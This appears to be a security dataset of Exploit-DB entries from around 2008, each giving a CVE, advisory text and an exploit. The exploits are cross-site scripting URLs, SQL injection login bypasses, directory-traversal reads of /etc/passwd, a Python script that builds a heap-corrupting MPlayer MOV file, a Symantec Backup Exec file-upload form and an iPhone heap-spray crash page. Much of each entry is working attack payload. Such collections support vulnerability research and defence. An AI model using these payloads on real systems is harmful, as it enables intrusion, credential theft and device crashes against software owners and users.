QLWD/code_shield huggingface dataset:
标题: Novell Groupwise 5.57e/6.5.7/7.0 Webaccess - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31095 CVE: 2006-4220 类型: REMOTE 平台: NOVELL 发布日期: 2008-01-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/27582/info

Novell GroupWise WebAccess is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

Exploiting these issues may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

Novell GroupWise WebAccess 7 is vulnerable; other versions may also be affected. 

http://www.example.com/servlet/webacc?Error=[XSS]
http://www.example.com/servlet/webacc?User.html=[XSS] URL: https://www.exploit-db.com/exploits/31095
标题: Domain Trader 2.0 - 'catalog.php' Cross-Site Scripting EDB-ID: 31091 CVE: 2008-0688 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/27571/info

Domain Trader is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Domain Trader 2.0 is vulnerable; prior versions may also be affected.

http://www.example.com/script/catalog.php?mode=viewcategory&id=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/31091
标题: WordPress Plugin WP-Footnotes 2.2 - Multiple Remote Vulnerabilities EDB-ID: 31092 CVE: 2008-0691 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/27572/info

WP-Footnotes plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. The plugin also insecurely exposes administrative functionality.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects WP-Footnotes 2.2; other versions may also be vulnerable. 

http://www.example.com/wordpress/wp-content/plugins/wp-footnotes/admin_panel.php?wp_footnotes_current_settings[priority]="><script>alert("XSS")</script>

http://www.example.com/wordpress/wp-content/plugins/wp-footnotes/admin_panel.php?wp_footnotes_current_settings[style_rules]=&lt;/textarea&gt;<script>alert("XSS")</script>

http://www.example.com/wordpress/wp-content/plugins/admin_panel.php?wp_footnotes_current_settings[pre_footnotes]=&lt;/textarea&gt;<script>alert("XSS")</script>

http://www.example.com/wordpress/wp-content/plugins/admin_panel.php?wp_footnotes_current_settings[post_footnotes]=&lt;/textarea&gt;<script>alert(":-(") URL: https://www.exploit-db.com/exploits/31092
标题: ITechClassifieds - 'viewcat.php?CatID' SQL Injection EDB-ID: 31093 CVE: 2008-0685 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/27574/info

iTechClassifieds is prone to an input-validation vulnerability that may be exploited as a cross-site scripting issue or an SQL-injection issue. This issue occurs because the application fails to adequately sanitize user-supplied input.

A successful exploit may allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/ViewCat.php?CatID=[SQL] URL: https://www.exploit-db.com/exploits/31093
标题: CruxCMS 3.0 - 'search.php' Cross-Site Scripting EDB-ID: 31097 CVE: 2008-0700 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/27588/info

CruxCMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

CruxCMS 3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/search.php?search="><script>alert(/vuln/)</script> URL: https://www.exploit-db.com/exploits/31097
标题: Codice CMS - 'login.php' SQL Injection EDB-ID: 31099 CVE: 2008-0651 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/27592/info

Codice CMS is prone to an SQL-injection vulnerability because it fails to adequately sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following exploit information is available:

Passing:

username: admin' or 1=1/*
password: something


will bypass the authentication process. URL: https://www.exploit-db.com/exploits/31099
标题: Nilson's Blogger 0.11 - 'comments.php' Local File Inclusion EDB-ID: 31083 CVE: 2008-0559 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/27559/info

Nilson's Blogger is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to include local files in the context of the webserver process. This may allow the attacker to obtain potentially sensitive information; other attacks are also possible.

This issue affects Nilson's Blogger 0.11; other versions may also be vulnerable. 

http://www.example.com/comments.php?thispost=../../../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/31083
标题: YeSiL KoRiDoR Ziyaretçi Defteri - 'index.php' SQL Injection EDB-ID: 31080 CVE: 2008-4611 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/27518/info

YeSiL KoRiDoR ZiyaretÃ§i Defteri is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/defter/index.php?sayfa=[sqL inj. code here ..] URL: https://www.exploit-db.com/exploits/31080
标题: Nucleus CMS 3.22 - 'action.php' Cross-Site Scripting EDB-ID: 31074 CVE: 2008-0497 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/27492/info

Nucleus CMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The issue affects Nucleus CMS 3.31; other versions may also be vulnerable.

http://www.example.com/[installdir]/action.php/"><script>alert('DSecRG XSS')</script> URL: https://www.exploit-db.com/exploits/31074
标题: Teracom Modem T2-B-Gawv1.4U10Y-BI - Persistent Cross-Site Scripting EDB-ID: 31087 CVE: 2014-10018 类型: WEBAPPS 平台: HARDWARE 发布日期: 2014-01-20 漏洞利用脚本: # Exploit Title: Teracom Modem Stored XSS Vulnerability
# Date: 19-01-2014
# Author: Rakesh S
# Software Link: http://www.teracom.in/
# Version:  T2-B-Gawv1.4U10Y-BI
# Tested on: Windows 7
# Code :
GET /webconfig/wlan/country.html/country?context=&wlanprofile=MIXED_G_WIFI&wlanstatus=on&country=INI&txpower=5&wlanmultitouni=on&TxRate=Automatic&chanselect=automatic&channel=4&essid="><img src=x onerror=prompt(1);>%3E&hidessid=off&security=wpawpa2&authmethodselect=psk&wpapp=---&pmkcaching=off&confirm=Confirm HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Proxy-Connection: keep-alive
Referer: http://192.168.1.1/webconfig/wlan/country.html
Cookie: httpTimeOut=None
Authorization: Basic VGhpc2lzbm90Ok15b3JnaW5hbHBhc3N3b3Jk

Attack details
The variable Network Name (SSID): has been set to "><img src=x onerror=prompt(1);> URL: https://www.exploit-db.com/exploits/31087
标题: Liferay Enterprise Portal 4.3.6 - User-Agent HTTP Header Cross-Site Scripting EDB-ID: 31082 CVE: 2008-0178 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/27547/info

Liferay Enterprise Portal is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects Liferay Enterprise Portal 4.3.6.

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)<<script>script>alert(&#039;XSS !!!&#039;)<</script>/script> URL: https://www.exploit-db.com/exploits/31082
标题: AmpJuke 0.7 - 'index.php' Cross-Site Scripting EDB-ID: 31075 CVE: 2008-0496 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/27498/info

AmpJuke is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

AmpJuke 0.7.0 is vulnerable; other versions may also be affected. 

http://www.example.com/scriptpath/index.php?what=search&start=0&dir=ASC&sorttbl=track&order_by=track.name&limit=[Xss] URL: https://www.exploit-db.com/exploits/31075
标题: webSPELL 4.1.2 - 'whoisonline.php' Cross-Site Scripting EDB-ID: 31079 CVE: 2008-0574 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/27517/info

webSPELL is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

webSPELL 4.01.02 is vulnerable; other versions may also be affected. 

http://www.example.com/path/index.php?site=whoisonline&sort=">[xss code] URL: https://www.exploit-db.com/exploits/31079
标题: OpenBSD 4.1 - bgplg 'cmd' Cross-Site Scripting EDB-ID: 31081 CVE: 2007-6700 类型: WEBAPPS 平台: CGI 发布日期: 2007-10-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/27535/info

OpenBSD bgplg is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

bgplg shipped with OpenBSD 4.1 is vulnerable; other versions may also be affected. 

http://www.example.com/cgi-bin/bgplg?cmd=show+version<script>alert("OpenBSD%20XSS)</script> URL: https://www.exploit-db.com/exploits/31081
标题: MPlayer 1.0rc2 - 'demux_mov.c' Remote Code Execution EDB-ID: 31076 CVE: 2008-0485 类型: REMOTE 平台: LINUX 发布日期: 2008-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/27499/info

MPlayer is prone to a remote code-execution vulnerability because it fails to sanitize certain 'MOV' file tags before using them to index heap memory.

An attacker can exploit this issue to execute arbitrary code, which can result in the complete compromise of the computer. Failed exploit attempts will result in a denial-of-service condition.

This issue affects MPlayer 1.0rc2; other versions may also be affected. 

#!/bin/python

import struct
import sys

def mkatom(type,data):
     if len(type) != 4:
         raise "type must by of length 4!!!"
     mov = ""
     mov += struct.pack(">L",len(data)+8)
     mov += type
     mov += data
     return mov

def poc(address, block_size):

     what=struct.pack(">L", 0x41414141) * 2 # Writes an 8 bytes chunk
     base= ((address - 8) / block_size) +1

     ftyp = mkatom("ftyp","3gp4"+"\x00\x00\x02\x00"+"3gp4"+"3gp33gp23gp1")
     mdat = mkatom("mdat","MALDAAAAAD!")
     stsc  = mkatom("stsc",struct.pack(">L",1) + \
                     struct.pack(">L",2) + \
                     struct.pack(">L",base) + \
                     what + \
                     struct.pack(">L",base+300)+what)
     trak = mkatom("trak",stsc)
     moov = mkatom("moov",trak)

     file = ftyp + mdat + moov
     return file

try:
     if sys.argv[2] != "linux":
         evilness = poc(0x0122e000, 24)     #Windows XP SP2 Prof. ES
     else:
         evilness = poc(0x088aa020, 20)     #Linux Gentoo

     print "[+] Generating file: %s" % sys.argv[1]
     file = open(sys.argv[1], "wb")
     file.write(evilness)
     file.close()
     print "[+] Done."

except Exception, e:
     print "[+] Usage: python mplayer_poc.py filename.mov windows (For
WinXP Prof SP2 ES)"
     print "           python mplayer_poc.py filename.mov linux     (For
Linux Gentoo)" URL: https://www.exploit-db.com/exploits/31076
标题: eTicket 1.5.6-RC4 - 'index.php' Cross-Site Scripting EDB-ID: 31069 CVE: 2008-0552 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/27473/info

eTicket is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

eTicket 1.5.6-RC4 is vulnerable; prior versions may also be affected.

http://www.example.com/index.php/"><script>alert('XSS')</script> URL: https://www.exploit-db.com/exploits/31069
标题: ASPired2Protect Login Page - SQL Injection EDB-ID: 31070 CVE: 2008-0487 类型: WEBAPPS 平台: ASP 发布日期: 2008-01-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/27474/info

ASPired2Protect is prone to an SQL-injection vulnerability because it fails to adequately sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following exploit information is available:

Passing:

' or '

will bypass the authentication process. URL: https://www.exploit-db.com/exploits/31070
标题: WebCalendar 1.1.6 - 'pref.php' Cross-Site Scripting EDB-ID: 31063 CVE: 2007-6696 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/27461/info

WebCalendar is prone to multiple HTML-injection and cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials. The attacker could also exploit the HTML-injection issues to control how the site is rendered to the user; other attacks are also possible.

These issues affect WebCalendar 1.1.6; other versions may also be vulnerable. 

http://www.example.com/pref.php?>&#039;"><script>alert(&#039;XSS&#039;)</script> URL: https://www.exploit-db.com/exploits/31063
标题: F5 BIG-IP Application Security Manager 9.4.3 - 'report_type' Cross-Site Scripting EDB-ID: 31065 CVE: 2008-0539 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/27462/info

F5 BIG-IP Application Security Manager is prone to a cross-site scripting vulnerability because the web management interface fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected device. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects F5 BIG-IP Application Security Manager 9.4.3; other versions may also be vulnerable. 

https://(target)/dms/policy/rep_request.php?report_type=%22%3E%3Cbody+onload=alert(%26quot%3BXSS%26quot%3B)%3E%3Cfoo+ URL: https://www.exploit-db.com/exploits/31065
标题: Symantec Backup Exec System Recovery Manager 7.0 - FileUpload Class Unauthorized File Upload EDB-ID: 31072 CVE: 2008-0457 类型: REMOTE 平台: WINDOWS 发布日期: 2007-01-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/27487/info

Symantec Backup Exec System Recovery Manager is prone to a vulnerability that allows arbitrary unauthorized files to be uploaded to any location on the affected server.

This issue resides in the Symantec LiveState Apache Tomcat server. Attackers can leverage it to execute arbitrary code with SYSTEM-level privileges and completely compromise affected computers. 

<?xml version="1.0"?>
<html xmlns="http://www.w3.org/1999/xhtml">
  <head><title>File Upload POC</title></head>
  <body>
    <h2> Backup Exec System Recovery Manager 7.0<br>File Upload POC</h2>
    <form action="https://www.example.com:8443/axis/FileUpload" method="post"
enctype="multipart/form-data">
      Remote Path: <input name="path" size="100" type="text"
value="C:\Program Files\Symantec\Backup Exec System
Recovery\Manager\Services\tomcat\WebApps\axis"/><br/>
 File to upload: <input name="log_file" type="file"/><br/>
      <hr/>
      <p><input type="submit"/><input type="reset"/></p>
   </form>
(c)BastardLabs 2008.
  </body>
</html> URL: https://www.exploit-db.com/exploits/31072
标题: WebCalendar 1.1.6 - 'search.php' Cross-Site Scripting EDB-ID: 31064 CVE: 2007-6696 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/27461/info
 
WebCalendar is prone to multiple HTML-injection and cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.
 
Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials. The attacker could also exploit the HTML-injection issues to control how the site is rendered to the user; other attacks are also possible.
 
These issues affect WebCalendar 1.1.6; other versions may also be vulnerable. 

http://www.example.com/search.php?adv=>"&#039;><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)> URL: https://www.exploit-db.com/exploits/31064
标题: Fonality trixbox 2.4.2 - Cross-Site Scripting (2) EDB-ID: 31062 CVE: 2008-0540 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/27460/info
 
The 'trixbox' product is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
These issues affect trixbox 2.4.2.0; earlier versions may also be vulnerable. 

http://www.example.com/maint/index.php?"><script>alert('xss')</script> URL: https://www.exploit-db.com/exploits/31062
标题: Pre Hotel and Resorts - 'user_login.asp' Multiple SQL Injection Vulnerabilities EDB-ID: 31058 CVE: 2008-0744 类型: WEBAPPS 平台: ASP 发布日期: 2008-01-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/27450/info

Pre Hotel and Resorts is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

Passing the following will bypass the authentication process:

' or ' URL: https://www.exploit-db.com/exploits/31058
标题: Mambo Module MOStlyCE 2.4 - 'connector.php' Cross-Site Scripting EDB-ID: 31066 CVE: 2008-7213 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/27470/info

The MOStlyCE module for Mambo is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

MOStlyCE 2.4 included with Mambo 4.6.3 is vulnerable; other versions may also be affected. 

http://localhost/MamboV4.6.3/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php?Command=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/31066
标题: Fonality trixbox 2.4.2 - Cross-Site Scripting (1) EDB-ID: 31061 CVE: 2008-0540 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/27460/info

The 'trixbox' product is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect trixbox 2.4.2.0; earlier versions may also be vulnerable. 

http://www.example.com/user/index.php?"><script>alert('xss')</script> URL: https://www.exploit-db.com/exploits/31061
标题: ClanSphere 2007.4.4 - 'install.php' Local File Inclusion EDB-ID: 31067 CVE: 2008-0489 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/27471/info

ClanSphere is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to access potentially sensitive information that may aid in further attacks.

ClanSphere 2007.4.4 is vulnerable to this issue; other versions may also be affected. 

http://www.example.com/install.php?lang=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00 URL: https://www.exploit-db.com/exploits/31067
标题: Apple iOS Mobile Safari - Memory Exhaustion Remote Denial of Service EDB-ID: 31057 CVE: 2008-0729 类型: DOS 平台: IOS 发布日期: 2008-01-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/27442/info

Apple iPhone is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue by enticing an unsuspecting user to view a maliciously crafted webpage. Successful attacks cause a kernel panic, crashing the device. Given the nature of this issue, remote code execution may also be possible, but this has not been confirmed.

iPhone 1.1.2 and 1.1.3 are affected; other versions may also be vulnerable. 

<html><body><script> function Demo() { var shellcode; var addr; var fill; alert('attempting a crash!'); shellcode = unescape('%u0c0c'); fill = unescape('%ucccc'); addr = 0x02020202; var b = fill; while (b.length <= 0x40000) b+=b; var c = new Array(); for (var i =0; i<36; i++) { c[i] = b.substring(0, 0x100000 - shellcode.length) + shellcode + b.substring(0, 0x100000 - shellcode.length) + shellcode + b.substring(0, 0x100000 - shellcode.length) + shellcode + b.substring(0, 0x100000 - shellcode.length) + shellcode; } } </script> <input type='button' onClick='Demo()' value='Go!'> </body></html> URL: https://www.exploit-db.com/exploits/31057